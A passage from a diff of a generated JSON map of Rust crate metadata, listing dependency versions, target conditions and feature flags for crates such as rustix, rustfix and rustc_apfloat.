\\\"wasm32\\\"))\"},{\"name\":\"mime\",\"optional\":true,\"req\":\"^0.3.16\",\"target\":\"cfg(not(target_arch = \\\"wasm32\\\"))\"},{\"default_features\":false,\"name\":\"mime_guess\",\"optional\":true,\"req\":\"^2.0\"},{\"name\":\"native-tls-crate\",\"optional\":true,\"package\":\"native-tls\",\"req\":\"^0.2.10\",\"target\":\"cfg(not(target_arch = \\\"wasm32\\\"))\"},{\"kind\":\"dev\",\"name\":\"num_cpus\",\"req\":\"^1.0\"},{\"name\":\"once_cell\",\"optional\":true,\"req\":\"^1.18\",\"target\":\"cfg(not(target_arch = \\\"wasm32\\\"))\"},{\"name\":\"percent-encoding\",\"req\":\"^2.3\",\"target\":\"cfg(not(target_arch = \\\"wasm32\\\"))\"},{\"name\":\"pin-project-lite\",\"req\":\"^0.2.11\",\"target\":\"cfg(not(target_arch = \\\"wasm32\\\"))\"},{\"default_features\":false,\"features\":[\"rustls\",\"runtime-tokio\"],\"name\":\"quinn\",\"optional\":true,\"req\":\"^0.11.1\",\"target\":\"cfg(not(target_arch = \\\"wasm32\\\"))\"},{\"default_features\":false,\"features\":[\"std\",\"tls12\"],\"name\":\"rustls\",\"optional\":true,\"req\":\"^0.23.4\",\"target\":\"cfg(not(target_arch = \\\"wasm32\\\"))\"},{\"name\":\"rustls-native-certs\",\"optional\":true,\"req\":\"^0.8.0\",\"target\":\"cfg(not(target_arch = \\\"wasm32\\\"))\"},{\"features\":[\"std\"],\"name\":\"rustls-pki-types\",\"optional\":true,\"req\":\"^1.9.0\",\"target\":\"cfg(not(target_arch = \\\"wasm32\\\"))\"},{\"name\":\"serde\",\"req\":\"^1.0\"},{\"features\":[\"derive\"],\"kind\":\"dev\",\"name\":\"serde\",\"req\":\"^1.0\",\"target\":\"cfg(not(target_arch = \\\"wasm32\\\"))\"},{\"name\":\"serde_json\",\"req\":\"^1.0\",\"target\":\"cfg(target_arch = \\\"wasm32\\\")\"},{\"name\":\"serde_json\",\"optional\":true,\"req\":\"^1.0\"},{\"name\":\"serde_urlencoded\",\"req\":\"^0.7.1\"},{\"features\":[\"futures\"],\"name\":\"sync_wrapper\",\"req\":\"^1.0\"},{\"default_features\":false,\"features\":[\"net\",\"time\"],\"name\":\"tokio\",\"req\":\"^1.0\",\"target\":\"cfg(not(target_arch = \\\"wasm32\\\"))\"},{\"default_features\":false,\"features\":[\"macros\",\"rt-multi-thread\"],\"kind\":\"dev\",\"name\":\"tokio\",\"req\":\"^1.0\",\"target\":\"cfg(not(target_arch = \\\"wasm32\\\"))\"},{\"name\":\"tokio-native-tls\",\"optional\":true,\"req\":\"^0.3.0\",\"target\":\"cfg(not(target_arch = \\\"wasm32\\\"))\"},{\"default_features\":false,\"features\":[\"tls12\"],\"name\":\"tokio-rustls\",\"optional\":true,\"req\":\"^0.26\",\"target\":\"cfg(not(target_arch = \\\"wasm32\\\"))\"},{\"default_features\":false,\"features\":[\"io\"],\"name\":\"tokio-util\",\"optional\":true,\"req\":\"^0.7.9\",\"target\":\"cfg(not(target_arch = \\\"wasm32\\\"))\"},{\"default_features\":false,\"features\":[\"retry\",\"timeout\",\"util\"],\"name\":\"tower\",\"req\":\"^0.5.2\",\"target\":\"cfg(not(target_arch = \\\"wasm32\\\"))\"},{\"default_features\":false,\"features\":[\"limit\"],\"kind\":\"dev\",\"name\":\"tower\",\"req\":\"^0.5.2\"},{\"default_features\":false,\"features\":[\"follow-redirect\"],\"name\":\"tower-http\",\"req\":\"^0.6.8\",\"target\":\"cfg(not(target_arch = \\\"wasm32\\\"))\"},{\"name\":\"tower-service\",\"req\":\"^0.3\",\"target\":\"cfg(not(target_arch = \\\"wasm32\\\"))\"},{\"name\":\"url\",\"req\":\"^2.4\"},{\"name\":\"wasm-bindgen\",\"req\":\"^0.2.89\",\"target\":\"cfg(target_arch = \\\"wasm32\\\")\"},{\"features\":[\"serde-serialize\"],\"kind\":\"dev\",\"name\":\"wasm-bindgen\",\"req\":\"^0.2.89\",\"target\":\"cfg(target_arch = \\\"wasm32\\\")\"},{\"name\":\"wasm-bindgen-futures\",\"req\":\"^0.4.18\",\"target\":\"cfg(target_arch = \\\"wasm32\\\")\"},{\"kind\":\"dev\",\"name\":\"wasm-bindgen-test\",\"req\":\"^0.3\",\"target\":\"cfg(target_arch = \\\"wasm32\\\")\"},{\"name\":\"wasm-streams\",\"optional\":true,\"req\":\"^0.4\",\"target\":\"cfg(target_arch = \\\"wasm32\\\")\"},{\"features\":[\"AbortController\",\"AbortSignal\",\"Headers\",\"Request\",\"RequestInit\",\"RequestMode\",\"Response\",\"Window\",\"FormData\",\"Blob\",\"BlobPropertyBag\",\"ServiceWorkerGlobalScope\",\"RequestCredentials\",\"File\",\"ReadableStream\",\"RequestCache\"],\"name\":\"web-sys\",\"req\":\"^0.3.28\",\"target\":\"cfg(target_arch = \\\"wasm32\\\")\"},{\"name\":\"webpki-roots\",\"optional\":true,\"req\":\"^1\",\"target\":\"cfg(not(target_arch = \\\"wasm32\\\"))\"},{\"kind\":\"dev\",\"name\":\"zstd_crate\",\"package\":\"zstd\",\"req\":\"^0.13\",\"target\":\"cfg(not(target_arch = \\\"wasm32\\\"))\"}],\"features\":{\"__rustls\":[\"dep:hyper-rustls\",\"dep:tokio-rustls\",\"dep:rustls\",\"__tls\"],\"__rustls-ring\":[\"hyper-rustls?/ring\",\"tokio-rustls?/ring\",\"rustls?/ring\",\"quinn?/ring\"],\"__tls\":[\"dep:rustls-pki-types\",\"tokio/io-util\"],\"blocking\":[\"dep:futures-channel\",\"futures-channel?/sink\",\"dep:futures-util\",\"futures-util?/io\",\"futures-util?/sink\",\"tokio/sync\"],\"brotli\":[\"tower-http/decompression-br\"],\"charset\":[\"dep:encoding_rs\",\"dep:mime\"],\"cookies\":[\"dep:cookie_crate\",\"dep:cookie_store\"],\"default\":[\"default-tls\",\"charset\",\"http2\",\"system-proxy\"],\"default-tls\":[\"dep:hyper-tls\",\"dep:native-tls-crate\",\"__tls\",\"dep:tokio-native-tls\"],\"deflate\":[\"tower-http/decompression-deflate\"],\"gzip\":[\"tower-http/decompression-gzip\"],\"hickory-dns\":[\"dep:hickory-resolver\",\"dep:once_cell\"],\"http2\":[\"h2\",\"hyper/http2\",\"hyper-util/http2\",\"hyper-rustls?/http2\"],\"http3\":[\"rustls-tls-manual-roots\",\"dep:h3\",\"dep:h3-quinn\",\"dep:quinn\",\"tokio/macros\"],\"json\":[\"dep:serde_json\"],\"macos-system-configuration\":[\"system-proxy\"],\"multipart\":[\"dep:mime_guess\",\"dep:futures-util\"],\"native-tls\":[\"default-tls\"],\"native-tls-alpn\":[\"native-tls\",\"native-tls-crate?/alpn\",\"hyper-tls?/alpn\"],\"native-tls-vendored\":[\"native-tls\",\"native-tls-crate?/vendored\"],\"rustls-tls\":[\"rustls-tls-webpki-roots\"],\"rustls-tls-manual-roots\":[\"rustls-tls-manual-roots-no-provider\",\"__rustls-ring\"],\"rustls-tls-manual-roots-no-provider\":[\"__rustls\"],\"rustls-tls-native-roots\":[\"rustls-tls-native-roots-no-provider\",\"__rustls-ring\"],\"rustls-tls-native-roots-no-provider\":[\"dep:rustls-native-certs\",\"hyper-rustls?/native-tokio\",\"__rustls\"],\"rustls-tls-no-provider\":[\"rustls-tls-manual-roots-no-provider\"],\"rustls-tls-webpki-roots\":[\"rustls-tls-webpki-roots-no-provider\",\"__rustls-ring\"],\"rustls-tls-webpki-roots-no-provider\":[\"dep:webpki-roots\",\"hyper-rustls?/webpki-tokio\",\"__rustls\"],\"socks\":[],\"stream\":[\"tokio/fs\",\"dep:futures-util\",\"dep:tokio-util\",\"dep:wasm-streams\"],\"system-proxy\":[\"hyper-util/client-proxy-system\"],\"trust-dns\":[],\"zstd\":[\"tower-http/decompression-zstd\"]}}", @@ -1202,10 +1243,13 @@ "rustc-demangle_0.1.27": "{\"dependencies\":[{\"name\":\"core\",\"optional\":true,\"package\":\"rustc-std-workspace-core\",\"req\":\"^1.0.0\"}],\"features\":{\"compiler_builtins\":[],\"rustc-dep-of-std\":[\"core\"],\"std\":[]}}", "rustc-hash_1.1.0": "{\"dependencies\":[],\"features\":{\"default\":[\"std\"],\"std\":[]}}", "rustc-hash_2.1.1": "{\"dependencies\":[{\"name\":\"rand\",\"optional\":true,\"req\":\"^0.8\"}],\"features\":{\"default\":[\"std\"],\"nightly\":[],\"rand\":[\"dep:rand\",\"std\"],\"std\":[]}}", + "rustc_apfloat_0.2.3+llvm-462a31f5a5ab": "{\"dependencies\":[{\"name\":\"bitflags\",\"req\":\"^2.6.0\"},{\"features\":[\"html_reports\"],\"kind\":\"dev\",\"name\":\"criterion\",\"req\":\"^0.5.1\"},{\"features\":[\"const_generics\",\"union\"],\"name\":\"smallvec\",\"req\":\"^1.11.0\"}],\"features\":{}}", "rustc_version_0.4.1": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"doc-comment\",\"req\":\"^0.3\"},{\"name\":\"semver\",\"req\":\"^1.0\"}],\"features\":{}}", + "rustfix_0.8.7": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"anyhow\",\"req\":\"^1.0.86\"},{\"kind\":\"dev\",\"name\":\"proptest\",\"req\":\"^1.5.0\"},{\"features\":[\"derive\"],\"name\":\"serde\",\"req\":\"^1.0.204\"},{\"name\":\"serde_json\",\"req\":\"^1.0.120\"},{\"kind\":\"dev\",\"name\":\"similar\",\"req\":\"^2.6.0\"},{\"kind\":\"dev\",\"name\":\"tempfile\",\"req\":\"^3.10.1\"},{\"name\":\"thiserror\",\"req\":\"^1.0.63\"},{\"default_features\":false,\"features\":[\"std\"],\"name\":\"tracing\",\"req\":\"^0.1.40\"},{\"features\":[\"env-filter\"],\"kind\":\"dev\",\"name\":\"tracing-subscriber\",\"req\":\"^0.3.18\"}],\"features\":{}}", "rusticata-macros_4.1.0": "{\"dependencies\":[{\"default_features\":false,\"features\":[\"std\"],\"name\":\"nom\",\"req\":\"^7.0\"}],\"features\":{}}", "rustix_0.38.44": "{\"dependencies\":[{\"default_features\":false,\"name\":\"bitflags\",\"req\":\"^2.4.0\"},{\"name\":\"compiler_builtins\",\"optional\":true,\"req\":\"^0.1.49\"},{\"name\":\"core\",\"optional\":true,\"package\":\"rustc-std-workspace-core\",\"req\":\"^1.0.0\"},{\"kind\":\"dev\",\"name\":\"criterion\",\"req\":\"^0.4\",\"target\":\"cfg(all(criterion, not(any(target_os = \\\"emscripten\\\", target_os = \\\"wasi\\\"))))\"},{\"kind\":\"dev\",\"name\":\"flate2\",\"req\":\"^1.0\"},{\"default_features\":false,\"name\":\"itoa\",\"optional\":true,\"req\":\"^1.0.13\"},{\"default_features\":false,\"name\":\"libc\",\"req\":\"^0.2.161\",\"target\":\"cfg(all(not(windows), any(rustix_use_libc, miri, not(all(target_os = \\\"linux\\\", any(target_endian = \\\"little\\\", target_arch = \\\"s390x\\\"), any(target_arch = \\\"arm\\\", all(target_arch = \\\"aarch64\\\", target_pointer_width = \\\"64\\\"), target_arch = \\\"riscv64\\\", all(rustix_use_experimental_asm, target_arch = \\\"powerpc64\\\"), all(rustix_use_experimental_asm, target_arch = \\\"s390x\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips32r6\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips64\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips64r6\\\"), target_arch = \\\"x86\\\", all(target_arch = \\\"x86_64\\\", target_pointer_width = \\\"64\\\")))))))\"},{\"default_features\":false,\"name\":\"libc\",\"optional\":true,\"req\":\"^0.2.161\",\"target\":\"cfg(all(not(rustix_use_libc), not(miri), target_os = \\\"linux\\\", any(target_endian = \\\"little\\\", target_arch = \\\"s390x\\\"), any(target_arch = \\\"arm\\\", all(target_arch = \\\"aarch64\\\", target_pointer_width = \\\"64\\\"), target_arch = \\\"riscv64\\\", all(rustix_use_experimental_asm, target_arch = \\\"powerpc64\\\"), all(rustix_use_experimental_asm, target_arch = \\\"s390x\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips32r6\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips64\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips64r6\\\"), target_arch = \\\"x86\\\", all(target_arch = \\\"x86_64\\\", target_pointer_width = \\\"64\\\"))))\"},{\"kind\":\"dev\",\"name\":\"libc\",\"req\":\"^0.2.161\"},{\"default_features\":false,\"name\":\"libc_errno\",\"package\":\"errno\",\"req\":\"^0.3.10\",\"target\":\"cfg(all(not(windows), any(rustix_use_libc, miri, not(all(target_os = \\\"linux\\\", any(target_endian = \\\"little\\\", target_arch = \\\"s390x\\\"), any(target_arch = \\\"arm\\\", all(target_arch = \\\"aarch64\\\", target_pointer_width = \\\"64\\\"), target_arch = \\\"riscv64\\\", all(rustix_use_experimental_asm, target_arch = \\\"powerpc64\\\"), all(rustix_use_experimental_asm, target_arch = \\\"s390x\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips32r6\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips64\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips64r6\\\"), target_arch = \\\"x86\\\", all(target_arch = \\\"x86_64\\\", target_pointer_width = \\\"64\\\")))))))\"},{\"default_features\":false,\"name\":\"libc_errno\",\"package\":\"errno\",\"req\":\"^0.3.10\",\"target\":\"cfg(windows)\"},{\"default_features\":false,\"name\":\"libc_errno\",\"optional\":true,\"package\":\"errno\",\"req\":\"^0.3.10\",\"target\":\"cfg(all(not(rustix_use_libc), not(miri), target_os = \\\"linux\\\", any(target_endian = \\\"little\\\", target_arch = \\\"s390x\\\"), any(target_arch = \\\"arm\\\", all(target_arch = \\\"aarch64\\\", target_pointer_width = \\\"64\\\"), target_arch = \\\"riscv64\\\", all(rustix_use_experimental_asm, target_arch = \\\"powerpc64\\\"), all(rustix_use_experimental_asm, target_arch = \\\"s390x\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips32r6\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips64\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips64r6\\\"), target_arch = \\\"x86\\\", all(target_arch = \\\"x86_64\\\", target_pointer_width = \\\"64\\\"))))\"},{\"default_features\":false,\"kind\":\"dev\",\"name\":\"libc_errno\",\"package\":\"errno\",\"req\":\"^0.3.10\"},{\"default_features\":false,\"features\":[\"general\",\"ioctl\",\"no_std\"],\"name\":\"linux-raw-sys\",\"req\":\"^0.4.14\",\"target\":\"cfg(all(any(target_os = \\\"android\\\", target_os = \\\"linux\\\"), any(rustix_use_libc, miri, not(all(target_os = \\\"linux\\\", any(target_endian = \\\"little\\\", target_arch = \\\"s390x\\\"), any(target_arch = \\\"arm\\\", all(target_arch = \\\"aarch64\\\", target_pointer_width = \\\"64\\\"), target_arch = \\\"riscv64\\\", all(rustix_use_experimental_asm, target_arch = \\\"powerpc64\\\"), all(rustix_use_experimental_asm, target_arch = \\\"s390x\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips32r6\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips64\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips64r6\\\"), target_arch = \\\"x86\\\", all(target_arch = \\\"x86_64\\\", target_pointer_width = \\\"64\\\")))))))\"},{\"default_features\":false,\"features\":[\"general\",\"errno\",\"ioctl\",\"no_std\",\"elf\"],\"name\":\"linux-raw-sys\",\"req\":\"^0.4.14\",\"target\":\"cfg(all(not(rustix_use_libc), not(miri), target_os = \\\"linux\\\", any(target_endian = \\\"little\\\", target_arch = \\\"s390x\\\"), any(target_arch = \\\"arm\\\", all(target_arch = \\\"aarch64\\\", target_pointer_width = \\\"64\\\"), target_arch = \\\"riscv64\\\", all(rustix_use_experimental_asm, target_arch = \\\"powerpc64\\\"), all(rustix_use_experimental_asm, target_arch = \\\"s390x\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips32r6\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips64\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips64r6\\\"), target_arch = \\\"x86\\\", all(target_arch = \\\"x86_64\\\", target_pointer_width = \\\"64\\\"))))\"},{\"kind\":\"dev\",\"name\":\"memoffset\",\"req\":\"^0.9.0\"},{\"name\":\"once_cell\",\"optional\":true,\"req\":\"^1.5.2\",\"target\":\"cfg(any(target_os = \\\"android\\\", target_os = \\\"linux\\\"))\"},{\"name\":\"rustc-std-workspace-alloc\",\"optional\":true,\"req\":\"^1.0.0\"},{\"kind\":\"dev\",\"name\":\"serial_test\",\"req\":\"^2.0.0\"},{\"kind\":\"dev\",\"name\":\"static_assertions\",\"req\":\"^1.1.0\"},{\"kind\":\"dev\",\"name\":\"tempfile\",\"req\":\"^3.5.0\"},{\"features\":[\"Win32_Foundation\",\"Win32_Networking_WinSock\",\"Win32_NetworkManagement_IpHelper\",\"Win32_System_Threading\"],\"name\":\"windows-sys\",\"req\":\">=0.52, <=0.59\",\"target\":\"cfg(windows)\"}],\"features\":{\"all-apis\":[\"event\",\"fs\",\"io_uring\",\"mm\",\"mount\",\"net\",\"param\",\"pipe\",\"process\",\"procfs\",\"pty\",\"rand\",\"runtime\",\"shm\",\"stdio\",\"system\",\"termios\",\"thread\",\"time\"],\"alloc\":[],\"cc\":[],\"default\":[\"std\",\"use-libc-auxv\"],\"event\":[],\"fs\":[],\"io_uring\":[\"event\",\"fs\",\"net\",\"linux-raw-sys/io_uring\"],\"libc-extra-traits\":[\"libc?/extra_traits\"],\"linux_4_11\":[],\"linux_latest\":[\"linux_4_11\"],\"mm\":[],\"mount\":[],\"net\":[\"linux-raw-sys/net\",\"linux-raw-sys/netlink\",\"linux-raw-sys/if_ether\",\"linux-raw-sys/xdp\"],\"param\":[\"fs\"],\"pipe\":[],\"process\":[\"linux-raw-sys/prctl\"],\"procfs\":[\"once_cell\",\"itoa\",\"fs\"],\"pty\":[\"itoa\",\"fs\"],\"rand\":[],\"runtime\":[\"linux-raw-sys/prctl\"],\"rustc-dep-of-std\":[\"core\",\"rustc-std-workspace-alloc\",\"compiler_builtins\",\"linux-raw-sys/rustc-dep-of-std\",\"bitflags/rustc-dep-of-std\",\"compiler_builtins?/rustc-dep-of-std\"],\"shm\":[\"fs\"],\"std\":[\"bitflags/std\",\"alloc\",\"libc?/std\",\"libc_errno?/std\",\"libc-extra-traits\"],\"stdio\":[],\"system\":[\"linux-raw-sys/system\"],\"termios\":[],\"thread\":[\"linux-raw-sys/prctl\"],\"time\":[],\"try_close\":[],\"use-explicitly-provided-auxv\":[],\"use-libc\":[\"libc_errno\",\"libc\",\"libc-extra-traits\"],\"use-libc-auxv\":[]}}", "rustix_1.1.3": "{\"dependencies\":[{\"default_features\":false,\"name\":\"bitflags\",\"req\":\"^2.4.0\"},{\"name\":\"core\",\"optional\":true,\"package\":\"rustc-std-workspace-core\",\"req\":\"^1.0.0\"},{\"kind\":\"dev\",\"name\":\"criterion\",\"req\":\"^0.4\",\"target\":\"cfg(all(criterion, not(any(target_os = \\\"emscripten\\\", target_os = \\\"wasi\\\"))))\"},{\"kind\":\"dev\",\"name\":\"flate2\",\"req\":\"^1.0\"},{\"default_features\":false,\"name\":\"libc\",\"req\":\"^0.2.177\",\"target\":\"cfg(all(not(windows), any(rustix_use_libc, miri, not(all(target_os = \\\"linux\\\", any(target_endian = \\\"little\\\", any(target_arch = \\\"s390x\\\", target_arch = \\\"powerpc\\\")), any(target_arch = \\\"arm\\\", all(target_arch = \\\"aarch64\\\", target_pointer_width = \\\"64\\\"), target_arch = \\\"riscv64\\\", all(rustix_use_experimental_asm, target_arch = \\\"powerpc\\\"), all(rustix_use_experimental_asm, target_arch = \\\"powerpc64\\\"), all(rustix_use_experimental_asm, target_arch = \\\"s390x\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips32r6\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips64\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips64r6\\\"), target_arch = \\\"x86\\\", all(target_arch = \\\"x86_64\\\", target_pointer_width = \\\"64\\\")))))))\"},{\"default_features\":false,\"name\":\"libc\",\"optional\":true,\"req\":\"^0.2.177\",\"target\":\"cfg(all(not(rustix_use_libc), not(miri), target_os = \\\"linux\\\", any(target_endian = \\\"little\\\", any(target_arch = \\\"s390x\\\", target_arch = \\\"powerpc\\\")), any(target_arch = \\\"arm\\\", all(target_arch = \\\"aarch64\\\", target_pointer_width = \\\"64\\\"), target_arch = \\\"riscv64\\\", all(rustix_use_experimental_asm, target_arch = \\\"powerpc\\\"), all(rustix_use_experimental_asm, target_arch = \\\"powerpc64\\\"), all(rustix_use_experimental_asm, target_arch = \\\"s390x\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips32r6\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips64\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips64r6\\\"), target_arch = \\\"x86\\\", all(target_arch = \\\"x86_64\\\", target_pointer_width = \\\"64\\\"))))\"},{\"kind\":\"dev\",\"name\":\"libc\",\"req\":\"^0.2.171\"},{\"default_features\":false,\"name\":\"libc_errno\",\"package\":\"errno\",\"req\":\"^0.3.10\",\"target\":\"cfg(all(not(windows), any(rustix_use_libc, miri, not(all(target_os = \\\"linux\\\", any(target_endian = \\\"little\\\", any(target_arch = \\\"s390x\\\", target_arch = \\\"powerpc\\\")), any(target_arch = \\\"arm\\\", all(target_arch = \\\"aarch64\\\", target_pointer_width = \\\"64\\\"), target_arch = \\\"riscv64\\\", all(rustix_use_experimental_asm, target_arch = \\\"powerpc\\\"), all(rustix_use_experimental_asm, target_arch = \\\"powerpc64\\\"), all(rustix_use_experimental_asm, target_arch = \\\"s390x\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips32r6\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips64\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips64r6\\\"), target_arch = \\\"x86\\\", all(target_arch = \\\"x86_64\\\", target_pointer_width = \\\"64\\\")))))))\"},{\"default_features\":false,\"name\":\"libc_errno\",\"package\":\"errno\",\"req\":\"^0.3.10\",\"target\":\"cfg(windows)\"},{\"default_features\":false,\"name\":\"libc_errno\",\"optional\":true,\"package\":\"errno\",\"req\":\"^0.3.10\",\"target\":\"cfg(all(not(rustix_use_libc), not(miri), target_os = \\\"linux\\\", any(target_endian = \\\"little\\\", any(target_arch = \\\"s390x\\\", target_arch = \\\"powerpc\\\")), any(target_arch = \\\"arm\\\", all(target_arch = \\\"aarch64\\\", target_pointer_width = \\\"64\\\"), target_arch = \\\"riscv64\\\", all(rustix_use_experimental_asm, target_arch = \\\"powerpc\\\"), all(rustix_use_experimental_asm, target_arch = \\\"powerpc64\\\"), all(rustix_use_experimental_asm, target_arch = \\\"s390x\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips32r6\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips64\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips64r6\\\"), target_arch = \\\"x86\\\", all(target_arch = \\\"x86_64\\\", target_pointer_width = \\\"64\\\"))))\"},{\"default_features\":false,\"kind\":\"dev\",\"name\":\"libc_errno\",\"package\":\"errno\",\"req\":\"^0.3.10\"},{\"default_features\":false,\"features\":[\"general\",\"ioctl\",\"no_std\"],\"name\":\"linux-raw-sys\",\"req\":\"^0.11.0\",\"target\":\"cfg(all(any(target_os = \\\"linux\\\", target_os = \\\"android\\\"), any(rustix_use_libc, miri, not(all(target_os = \\\"linux\\\", any(target_endian = \\\"little\\\", any(target_arch = \\\"s390x\\\", target_arch = \\\"powerpc\\\")), any(target_arch = \\\"arm\\\", all(target_arch = \\\"aarch64\\\", target_pointer_width = \\\"64\\\"), target_arch = \\\"riscv64\\\", all(rustix_use_experimental_asm, target_arch = \\\"powerpc\\\"), all(rustix_use_experimental_asm, target_arch = \\\"powerpc64\\\"), all(rustix_use_experimental_asm, target_arch = \\\"s390x\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips32r6\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips64\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips64r6\\\"), target_arch = \\\"x86\\\", all(target_arch = \\\"x86_64\\\", target_pointer_width = \\\"64\\\")))))))\"},{\"default_features\":false,\"features\":[\"auxvec\",\"general\",\"errno\",\"ioctl\",\"no_std\",\"elf\"],\"name\":\"linux-raw-sys\",\"req\":\"^0.11.0\",\"target\":\"cfg(all(not(rustix_use_libc), not(miri), target_os = \\\"linux\\\", any(target_endian = \\\"little\\\", any(target_arch = \\\"s390x\\\", target_arch = \\\"powerpc\\\")), any(target_arch = \\\"arm\\\", all(target_arch = \\\"aarch64\\\", target_pointer_width = \\\"64\\\"), target_arch = \\\"riscv64\\\", all(rustix_use_experimental_asm, target_arch = \\\"powerpc\\\"), all(rustix_use_experimental_asm, target_arch = \\\"powerpc64\\\"), all(rustix_use_experimental_asm, target_arch = \\\"s390x\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips32r6\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips64\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips64r6\\\"), target_arch = \\\"x86\\\", all(target_arch = \\\"x86_64\\\", target_pointer_width = \\\"64\\\"))))\"},{\"kind\":\"dev\",\"name\":\"memoffset\",\"req\":\"^0.9.0\"},{\"kind\":\"dev\",\"name\":\"once_cell\",\"req\":\"^1.20.3\",\"target\":\"cfg(windows)\"},{\"name\":\"rustc-std-workspace-alloc\",\"optional\":true,\"req\":\"^1.0.0\"},{\"kind\":\"dev\",\"name\":\"serial_test\",\"req\":\"^2.0.0\"},{\"kind\":\"dev\",\"name\":\"static_assertions\",\"req\":\"^1.1.0\"},{\"kind\":\"dev\",\"name\":\"tempfile\",\"req\":\"^3.5.0\"},{\"features\":[\"Win32_Foundation\",\"Win32_Networking_WinSock\"],\"name\":\"windows-sys\",\"req\":\">=0.52, <0.62\",\"target\":\"cfg(windows)\"}],\"features\":{\"all-apis\":[\"event\",\"fs\",\"io_uring\",\"mm\",\"mount\",\"net\",\"param\",\"pipe\",\"process\",\"pty\",\"rand\",\"runtime\",\"shm\",\"stdio\",\"system\",\"termios\",\"thread\",\"time\"],\"alloc\":[],\"default\":[\"std\"],\"event\":[],\"fs\":[],\"io_uring\":[\"event\",\"fs\",\"net\",\"thread\",\"linux-raw-sys/io_uring\"],\"linux_4_11\":[],\"linux_5_1\":[\"linux_4_11\"],\"linux_5_11\":[\"linux_5_1\"],\"linux_latest\":[\"linux_5_11\"],\"mm\":[],\"mount\":[],\"net\":[\"linux-raw-sys/net\",\"linux-raw-sys/netlink\",\"linux-raw-sys/if_ether\",\"linux-raw-sys/xdp\"],\"param\":[],\"pipe\":[],\"process\":[\"linux-raw-sys/prctl\"],\"pty\":[\"fs\"],\"rand\":[],\"runtime\":[\"linux-raw-sys/prctl\"],\"rustc-dep-of-std\":[\"core\",\"rustc-std-workspace-alloc\",\"linux-raw-sys/rustc-dep-of-std\",\"bitflags/rustc-dep-of-std\"],\"shm\":[\"fs\"],\"std\":[\"bitflags/std\",\"alloc\",\"libc?/std\",\"libc_errno?/std\"],\"stdio\":[],\"system\":[\"linux-raw-sys/system\"],\"termios\":[],\"thread\":[\"linux-raw-sys/prctl\"],\"time\":[],\"try_close\":[],\"use-explicitly-provided-auxv\":[],\"use-libc\":[\"libc_errno\",\"libc\"],\"use-libc-auxv\":[]}}", + "rustix_1.1.4": "{\"dependencies\":[{\"default_features\":false,\"name\":\"bitflags\",\"req\":\"^2.4.0\"},{\"name\":\"core\",\"optional\":true,\"package\":\"rustc-std-workspace-core\",\"req\":\"^1.0.0\"},{\"kind\":\"dev\",\"name\":\"criterion\",\"req\":\"^0.4\",\"target\":\"cfg(all(criterion, not(any(target_os = \\\"emscripten\\\", target_os = \\\"wasi\\\"))))\"},{\"kind\":\"dev\",\"name\":\"flate2\",\"req\":\"^1.0\"},{\"default_features\":false,\"name\":\"libc\",\"req\":\"^0.2.182\",\"target\":\"cfg(all(not(windows), any(rustix_use_libc, miri, not(all(target_os = \\\"linux\\\", any(target_endian = \\\"little\\\", any(target_arch = \\\"s390x\\\", target_arch = \\\"powerpc\\\")), any(target_arch = \\\"arm\\\", all(target_arch = \\\"aarch64\\\", target_pointer_width = \\\"64\\\"), target_arch = \\\"riscv64\\\", all(rustix_use_experimental_asm, target_arch = \\\"powerpc\\\"), all(rustix_use_experimental_asm, target_arch = \\\"powerpc64\\\"), all(rustix_use_experimental_asm, target_arch = \\\"s390x\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips32r6\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips64\\\"), all(rustix_use_experimental_asm, target_arch = \\\"mips64r6\\\"), target_arch = \\\"x86\\\", all(target_arch = \\\"x86_64\\\", target_pointer_width = 